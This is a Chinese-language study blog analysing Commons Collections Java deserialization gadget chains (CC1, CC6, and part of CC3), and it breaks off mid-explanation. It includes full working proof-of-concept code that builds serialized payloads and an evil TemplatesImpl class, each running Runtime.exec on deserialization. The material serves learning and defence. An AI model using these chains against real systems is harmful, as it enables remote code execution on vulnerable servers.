Turker
发布于 2025-07-27 / 22 阅读
0
0

Java安全——CommonsCollections链分析

Java安全——CommonsCollections链分析

对于初学者来说,CC链是学习Java反序列化过程中不可或缺的一部分。这篇文章也仅仅是作为笔者个人的学习记录,如果真的想要学习反序列化,还是要自己上手调试跟进一下才行,只看文章中的这些调用、判断和操作是没什么用的。

一、CC1

JDK < 8u71

大部分的CC链的Sink点都是Transform链,所以我们首先来看一下什么是Transform链。

首先,Java中最典型的运行操作系统命令的方式为 Runtime类,例如:

public static void execute() throws Exception {  
    Runtime.getRuntime().exec("calc.exe");  
}

但是,Runtime类并没有继承 Serializable接口,也就是说反序列化的过程中我们不可以直接通过 Runtime类来执行命令。

public class Runtime {  
    private static final Runtime currentRuntime = new Runtime();
    ...
}

于是我们使用反射的方式来调用 Runtime进行命令执行,且涉及到的所有类都继承了 Serializable接口。这里注意反射执行方法后,返回的只能是一个Object类型,所以这里需要一个强制类型转换,两次分别转换为了 Runtime类型和 Process类型

public class Shell {  
    public static void main(String[] args) throws Exception{  
		Class<?> clazz = Class.forName("java.lang.Runtime");  
		Method method1 = clazz.getDeclaredMethod("getRuntime");  
		Runtime runtimeObj = (Runtime) method1.invoke(null);  
		runtimeObj.exec("calc.exe");
    }  
}

接下来让我们走进 org.apache.commons.collections.Transformer接口,看一下 transform方法的一些实现。![[Java安全-17.png]]
我们重点关注的实现有:

  • InvokerTransformer
  • TransformedMap
  • ConstantTransformer
  • ChainedTransformer
InvokerTransformer

顾名思义,这个实现跟反射中的方法调用有关。

public class InvokerTransformer implements Transformer, Serializable {  
    static final long serialVersionUID = -8653385846894047688L;  
    private final String iMethodName;  
    private final Class[] iParamTypes;  
    private final Object[] iArgs;  
    //...
}

首先,这个实现通过反射的方式执行任意一个类的方法:

public Object transform(Object input) {  
    if (input == null) {  
        return null;  
    } else {  
        try {  
            Class cls = input.getClass();  
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);  
            return method.invoke(input, this.iArgs);  
        } catch (NoSuchMethodException var5) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");  
        } catch (IllegalAccessException var6) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
        } catch (InvocationTargetException var7) {  
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);  
        }  
    }  
}

这里要求这个方法必须是 public的,同时我们发现 iMethodNameiParamTypesiArgs均可控:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
    this.iMethodName = methodName;  
    this.iParamTypes = paramTypes;  
    this.iArgs = args;  
}

我们可以试一下用这个类来弹个计算器:

public static void main(String[] args) throws Exception {  
	Runtime rt = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});  
    invokerTransformer.transform(rt);  
}

好了,接下来我们就要找到一个方法,它可以调用可控 Objecttransform方法,之后再将Object设置为 InvokeTransformer即可。

TransformedMap
  • TransformedMap是Map接口的一个装饰器实现,它可以在数据存入或取出时自动应用转换逻辑。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {  
    private static final long serialVersionUID = 7023152376788900464L;  
    protected final Transformer keyTransformer;  
    protected final Transformer valueTransformer;

checkSetValue方法中调用了 transform方法:

protected Object checkSetValue(Object value) {  
    return this.valueTransformer.transform(value);  
}

同时valueTransformer是一个构造时赋的值:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
    super(map);  
    this.keyTransformer = keyTransformer;  
    this.valueTransformer = valueTransformer;  
}

但是构造函数是一个 protected,所以我们就需要找调用:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
    return new TransformedMap(map, keyTransformer, valueTransformer);  
}

现在就解决了调用 InvokeTransformertransform方法的问题,接下来看一下 value如何控制。我们全局搜索一下 checkSetValue,发现一个抽象类 AbstractInputCheckedMapDecorator,其内部类 MapEntrysetValue方法调用了 checkSetValue

 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {  

	//...

    static class MapEntry extends AbstractMapEntryDecorator {  
        private final AbstractInputCheckedMapDecorator parent;  
  
        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {  
            super(entry);  
            this.parent = parent;  
        }  
  
        public Object setValue(Object value) {  
            value = this.parent.checkSetValue(value);  
            return super.entry.setValue(value);  
        }  
    }  
}

而这个类 AbstractInputCheckedMapDecorator恰好是 TransformedMap的父类,也就是说,对于一个由 TransformedMap装饰的 Map,其 Map.EntrysetValue方法就会调用到 checkSetValue,进而触发调用链。让我们试一下:

public static void main(String[] args) throws Exception {  
    Runtime runtimeEnvironment = Runtime.getRuntime();  
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",  
            new Class[]{String.class},  
            new Object[]{"calc.exe"});  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("Burger King","Good King");  
    Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, invokerTransformer);  
    for(Map.Entry mapEntry:transformedMap.entrySet()){  
        mapEntry.setValue(runtimeEnvironment);  
    }  
}
AnnotationInvocationHandler

那么接下来就是找一个 setValue方法,发现在 AnnotationInvocationHandler类重写的 readObject方法中调用了 setValue,这省去了找Source的过程

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    s.defaultReadObject();  
  
    // Check to make sure that types have not evolved incompatibly  
  
    AnnotationType annotationType = null;  
    try {  
        annotationType = AnnotationType.getInstance(type);  
    } catch(IllegalArgumentException e) {  
        // Class is no longer an annotation type; time to punch out  
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");  
    }  
  
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();  
  
    // If there are annotation members without values, that  
    // situation is handled by the invoke method.    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
        String name = memberValue.getKey();  
        Class<?> memberType = memberTypes.get(name);  
        if (memberType != null) {  // i.e. member still exists  
            Object value = memberValue.getValue();  
            if (!(memberType.isInstance(value) ||  
                  value instanceof ExceptionProxy)) {  
                memberValue.setValue(  
                    new AnnotationTypeMismatchExceptionProxy(  
                        value.getClass() + "[" + value + "]").setMember(  
                            annotationType.members().get(name)));  
            }  
        }  
    }  
}

可以看出来,如果需要执行 setValue,需要两个条件,(memberType != null)!(memberType.isInstance(value) || value instanceof ExceptionProxy)memberType的来源是:

Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);

annotationType = AnnotationType.getInstance(t);
//获取传入的class对象的成员类型信息,t是构造方法传的class对象
//...
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取传入的Class对象类中的成员名和成员的数据类型
//...
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {  
    String name = memberValue.getKey();  
    //获取Map键值对中的Key名
    Object value = null;  
    Class<?> memberType = memberTypes.get(name);
    //获取传入的Class对象中对应Map中成员名的类型

也就是说,要解决第一个 if我们传进去的Map的Key必须是class对象的一个成员,方法和属性都行。举个例子:

HashMap<Object,Object> hash = new HashMap<>(); 
hash.put("burger",'king'); 
//则我们传入的class对象中必须有一个名为burger的成员

要解决第二个 if,Map的Value不能为 memberType类型或其子类型的实例,也不能为 ExceptionProxy类型或其子类型的实例,看一下构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {  
    Class<?>[] superInterfaces = type.getInterfaces();  
    if (!type.isAnnotation() ||  
        superInterfaces.length != 1 ||  
        superInterfaces[0] != java.lang.annotation.Annotation.class)  
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type: " +  
                                        type.getName());  
    this.type = type;  
    this.memberValues = memberValues;  
}

该方法要接收两个参数,第一个是 Annotation类或其子类的class对象,第二个是一个Map<String, Object>对象。接下来我们发现 Annotation类的子类 Target接口中有一个名为 value的方法:

@Documented  
@Retention(RetentionPolicy.RUNTIME)  
@Target(ElementType.ANNOTATION_TYPE)  
public @interface Target {  
	ElementType[] value();  
}

注意 AnnotationInvocationHandler的构造函数不是 public,需要反射来获得一个实例,现在我们再试着弹一个计算器:

public static void main(String[] args) throws Exception {  
    Runtime runtimeEnvironment = Runtime.getRuntime();  
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",  
            new Class[]{String.class},  
            new Object[]{"calc.exe"});  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","value");  
    Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, invokerTransformer);  
  
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    Object annotationInvocationHandler = constructor.newInstance(Target.class, transformedMap);  
  
    helper.serilaze("payload.ser", annotationInvocationHandler);  
    helper.unserialize("payload.ser");  
}

没有弹出来计算器,为什么?
这是因为:

  1. Runtime类无法被序列化;
  2. 实际上我们无法控制 AnnotationInvocationHandlersetValue方法的参数
    对于第一个问题,我们要多用几次 InvokerTransformer,先想一下,如果不用这个我们应该怎么写?一样是多用几次反射:
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime"); 
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null); 
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r, "calc");

那现在有了 InvokerTransformer,就可以:

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); 
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); 
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

是不是觉得这样很麻烦?

Chainedtransformer

顾名思义,Chainedtransformer的作用就是链式调用一个 transformers数组里所有的 transform方法:

public Object transform(Object object) {  
    for(int i = 0; i < this.iTransformers.length; ++i) {  
        object = this.iTransformers[i].transform(object);  
    }  
    return object;  
}

于是,我们就可以把上面那一串 InvokerTransformer给串起来:

Transformer[] transformers = new Transformer[]{  
        new InvokerTransformer("getMethod",  
                new Class[]{String.class, Class[].class},  
                new Object[]{"getRuntime", null}),  
        new InvokerTransformer("invoke",  
                new Class[]{Object.class, Object[].class},  
                new Object[]{null, null}),  
        new InvokerTransformer("exec",  
                new Class[]{String.class},  
                new Object[]{"calc"})  
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
chainedTransformer.transform(Runtime.class);

那么如何解决第二个问题呢?

ConstantTransformer

顾名思义,ConstantTransformer的作用是返回一个常量,也就是说它并不会管你给它传入的是什么对象:

public ConstantTransformer(Object constantToReturn) {  
    this.iConstant = constantToReturn;  
}  
  
public Object transform(Object input) {  
    return this.iConstant;  
}

让我们回到刚刚发现 setValue方法时候的payload,使用我们上面的链式调用,并把 setValue的参数改为 null来看:

public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("Burger King","Good King");  
    Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);  
  
    for(Map.Entry mapEntry:transformedMap.entrySet()) {  
        mapEntry.setValue(null);  
    }  
}

这个时候如果在 transformer链的最前面加上一个 ConstantTransformer,这里的 null就会直接被无视,而是返回 ConstantTransformer实例的 iConstant对象,也即 Runtime.class,来个计算器:

public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("Burger King","Good King");  
    Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);  
  
    for(Map.Entry mapEntry:transformedMap.entrySet()) {  
        mapEntry.setValue(null);  
    }  
}
最终PoC

好了,现在两大问题已经解决了,让我们来合成一下:

package org.burger;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Method; 
import java.util.HashMap;  
import java.util.Map;  
  
@SuppressWarnings({"rawtypes", "unchecked"})  
public class CC1 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",  
                        new Class[]{String.class, Class[].class},  
                        new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke",  
                        new Class[]{Object.class, Object[].class},  
                        new Object[]{null, null}),  
                new InvokerTransformer("exec",  
                        new Class[]{String.class},  
                        new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        HashMap<Object, Object> originalMap = new HashMap<>();  
        originalMap.put("value","Burger King");  
        Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);  
  
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);  
        constructor.setAccessible(true);  
        Object annotationInvocationHandler = constructor.newInstance(Target.class, transformedMap);  
  
        helper.serilaze("cc1.ser", annotationInvocationHandler);  
        helper.unserialize("cc1.ser");  
    }  
}
LazyMap

ysoserial的CC1 gadget链如下:

	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

有什么区别?主要是使用了 LazyMap,我们在其中查找一下 transform的调用:

public Object get(Object key) {  
    if (!super.map.containsKey(key)) {  
        Object value = this.factory.transform(key);  
        super.map.put(key, value);  
        return value;  
    } else {  
        return super.map.get(key);  
    }  
}

也就是说 get一个不存在的Key时,会触发到自定义 Transformer,弹个计算器:

public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map<Object, Object> transformedMap = LazyMap.decorate(originalMap, chainedTransformer);  
    transformedMap.get("NoExistingKey");  
}

那么要怎么触发这个 get方法呢?

AnnotationInvocationHandler.invoke

简单来说,当我们通过动态代理对象调用一个方法的时候,这个方法的调用就会被转发到实现 InvocationHandler接口类的 invoke方法来调用。也就是说,如果给 LazyMap实现了动态代理,我们就可以让其在调用方法的时候调用到 AnnotationInvocationHandler.invoke,而 AnnotationInvocationHandlerreadObject中又调用了 LazyMap.entrySet方法,于是这条链也就通了。

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);

Map ProxiedMap = (Map) java.lang.reflect.Proxy.newProxyInstance(  
        LazyMap.class.getClassLoader(),  
        new Class[]{Map.class},  
        invocationHandler);
类ysoserial PoC
public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);  
    constructor.setAccessible(true);  
    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);  
    Map ProxiedMap = (Map) java.lang.reflect.Proxy.newProxyInstance(  
            LazyMap.class.getClassLoader(),  
            new Class[]{Map.class},  
            invocationHandler);  
    Object handler = constructor.newInstance(Target.class, ProxiedMap);  
  
    helper.serilaze("CC1LazyMap.ser", handler);  
    helper.unserialize("CC1LazyMap.ser");  
}

二、CC6

简介

CC6的利用链和CC1其实只差在 LazyMap.get()的触发方式上。JDK 8u71之后,AnnotationInvocationHandler#readObject里面发生了很多逻辑变化,如果我们是用 TransformedMap的话,在高版本中 setValue已经被删除了。如果是用 LazyMap的话,高版本中 memberValues的获取逻辑已经被改变了。

环境

JDK 11

TiedMapEntry

CC6的后半部分相较于CC1没变,从 LazyMap.get()开始,调用链发生变化,我们跟一下这个 TiedMapEntry.getValue()

public Object getValue() {  
    return this.map.get(this.key);  
}

可以看到有一个 map.get,再看一下构造函数:

public TiedMapEntry(Map map, Object key) {  
    this.map = map;  
    this.key = key;  
}

也就是说其中的 mapkey我们都可以控制。接下来就是找一个 getValue方法的调用了,可以看到 TiedMapEntry.hashCode()调用了这个方法。

public int hashCode() {  
    Object value = this.getValue();  
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());  
}

到这里也就很熟悉了,后面跟URLDNS是一样的调用链:
HashMap#hash

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

HashMap#put

public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

构造PoC:

public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
    HashMap hashMap = new HashMap();  
    hashMap.put(tiedMapEntry,"Burger King");  
}

这里就已经会弹计算器了,但是我们的目的是获取一段序列化的Payload,所以同样的,我们也要注意规避掉 HashMap#put产生的第一次 hashCode()调用,方法跟URLDNS也非常像,先在 put时调用一个无用的Transformer,再在反序列化之前改为恶意的Transformer。这里也有两种实现方式,一种是反射修改 chainedTransformer实例的 iTransformers属性,另一种是修改 LazyMapfactory属性。我们这里演示第一种:

public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    Transformer[] fakeTransformers = new Transformer[]{  
            new ConstantTransformer("King Burger"),  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
    HashMap hashMap = new HashMap();  
    hashMap.put(tiedMapEntry,"Burger King");  
  
    Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");  
    Field field = clazz.getDeclaredField("iTransformers");  
    field.setAccessible(true);  
    field.set(chainedTransformer, transformers);  
  
    Helper.serialize("CC6.ser", hashMap);  
    Helper.unserialize("CC6.ser");  
}

没有弹计算器,为什么?
触发 hashMap.put(tiedMapEntry,"Burger King")之后的调用链如下:
HashMap#put

public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

HashMap#hash

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

TiedMapEntry#hashCode

public int hashCode() {  
    Object value = this.getValue();  
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());  
}

TiedMapEntry#getValue

public Object getValue() {  
    return this.map.get(this.key);  
}

LazyMap#get

public Object get(Object key) {  
    if (!super.map.containsKey(key)) {  
        Object value = this.factory.transform(key);  
        super.map.put(key, value);  
        return value;  
    } else {  
        return super.map.get(key);  
    }  
}

调试之后发现虽然第一次的Transformer只是一个 ConstantTransformer("King Burger"),但是链子也会触发到 LazyMap#get这一步,导致 put进去一个 <"Burger King","King Burger">,而
LazyMap#get要想触发到 transform()就需要Map里没有对应的Key。我们的解决方案就是删掉这个Key。

类ysoserial PoC
public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                    new Class[]{String.class, Class[].class},  
                    new Object[]{"getRuntime", null}),  
            new InvokerTransformer("invoke",  
                    new Class[]{Object.class, Object[].class},  
                    new Object[]{null, null}),  
            new InvokerTransformer("exec",  
                    new Class[]{String.class},  
                    new Object[]{"calc"})  
    };  
    Transformer[] fakeTransformers = new Transformer[]{  
            new ConstantTransformer("King Burger")  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
    HashMap hashMap = new HashMap();  
    hashMap.put(tiedMapEntry,"Burger King");  
    originalMap.remove("Burger King");  
  
    Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");  
    Field field = clazz.getDeclaredField("iTransformers");  
    field.setAccessible(true);  
    field.set(chainedTransformer, transformers);  
  
    Helper.serialize("CC6.ser", hashMap);  
    Helper.unserialize("CC6.ser");  
}

三、CC3

简介

CC3跟前面介绍的CC1和CC6就不太一样了,前面的两个都是执行命令,CC3可以利用TemplatesImpl加载字节码

环境

JDK 8u65

TemplatesImpl

TemplatesImpl类是用来加载字节码的,也就是加载JVM虚拟机运行编译后的class文件,里面存放的是Java虚拟机执行的指令。关于这里的细节可以看我之前的笔记。我们要调用的是 defineClass方法。发现在 defineTransletClasses方法中有调用。
TemplatesImpl#defineTransletClasses

private void defineTransletClasses()  
    throws TransformerConfigurationException {  
  
    if (_bytecodes == null) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
        throw new TransformerConfigurationException(err.toString());  
    }  
  
    TransletClassLoader loader = (TransletClassLoader)  
        AccessController.doPrivileged(new PrivilegedAction() {  
            public Object run() {  
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  
            }  
        });  
  
    try {  
        final int classCount = _bytecodes.length;  
        _class = new Class[classCount];  
  
        if (classCount > 1) {  
            _auxClasses = new HashMap<>();  
        }  
  
        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i]);  
            final Class superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  
    }  
    catch (ClassFormatError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (LinkageError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

这里要注意 _bytecodes不能为null,继续查看调用。
TemplatesImpl#getTransletInstance

private Translet getTransletInstance()  
    throws TransformerConfigurationException {  
    try {  
        if (_name == null) return null;  
  
        if (_class == null) defineTransletClasses();  
  
        // The translet needs to keep a reference to all its auxiliary  
        // class to prevent the GC from collecting them        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();  
        translet.postInitialization();  
        translet.setTemplates(this);  
        translet.setServicesMechnism(_useServicesMechanism);  
        translet.setAllowedProtocols(_accessExternalStylesheet);  
        if (_auxClasses != null) {  
            translet.setAuxiliaryClasses(_auxClasses);  
        }  
  
        return translet;  
    }  
    catch (InstantiationException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (IllegalAccessException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

这里 _name不能为null,需要反射给它赋值。继续查找调用。
TemplatesImpl#newTransformer

public synchronized Transformer newTransformer()  
    throws TransformerConfigurationException  
{  
    TransformerImpl transformer;  
  
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,  
        _indentNumber, _tfactory);  
  
    if (_uriResolver != null) {  
        transformer.setURIResolver(_uriResolver);  
    }  
  
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {  
        transformer.setSecureProcessing(true);  
    }  
    return transformer;  
}

现在我们已经有了一个基本的思路,即手动new一个 TemplateIml对象,再调用 newTransformer方法,从而去 defineClass,来个计算器试试:

package org.burger;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import org.apache.commons.collections.Transformer;  
  
import java.lang.reflect.Field;  
  
  
public class CC3 {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        Field _name = TemplatesImpl.class.getDeclaredField("_name");  
        _name.setAccessible(true);  
        _name.set(templates, "Burger King");  
        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");  
        _bytecodes.setAccessible(true);  
        byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();  
        byte[][] evilBytecodes = {evilBytes};  
        _bytecodes.set(templates, evilBytecodes);  
        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");  
        _tfactory.setAccessible(true);  
        _tfactory.set(templates, new TransformerFactoryImpl());  
        Transformer transformer = (Transformer) templates.newTransformer();  
    }  
}

EvilTemplatesImpl

public class EvilTemplatesImpl extends AbstractTranslet {  
    public EvilTemplatesImpl () throws IOException {  
        Runtime.getRuntime().exec("calc.exe");  
    }  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
    }  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
    }}

这里有几个问题:

  1. 为什么修改 _tfactory的值?
  2. 恶意类怎么读到这个数组里的?
  3. 恶意类为什么要继承 AbstractTranslet
    对于第一个问题,TemplatesImplreadObject方法会初始化 _tfactory的值,但是我们这里还没有进行反序列化,所以需要设置一个 _tfactory
private void readObject(ObjectInputStream is)  
  throws IOException, ClassNotFoundException  
{
	//...
    _tfactory = new TransformerFactoryImpl();  
}

对于第二个问题,我们需要介绍一下javassist,它是一个处理字节码的类库,能够动态的修改class中的字节码。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
这里我们就理解两个关键类就行了:

  • ClassPool: 一个基于 Hashtable实现的 CtClass对象容器, 其中键是类名称, 值是表示该类的 CtClass对象
  • CtClass: CtClass表示类, 一个 CtClass(编译时类)对象可以处理一个class文件, 这些 CtClass对象可以从 ClassPool获得
    会用到的方法有:
  • getDefault: 返回默认的 ClassPool是单例模式的,一般通过该方法创建我们的 ClassPool
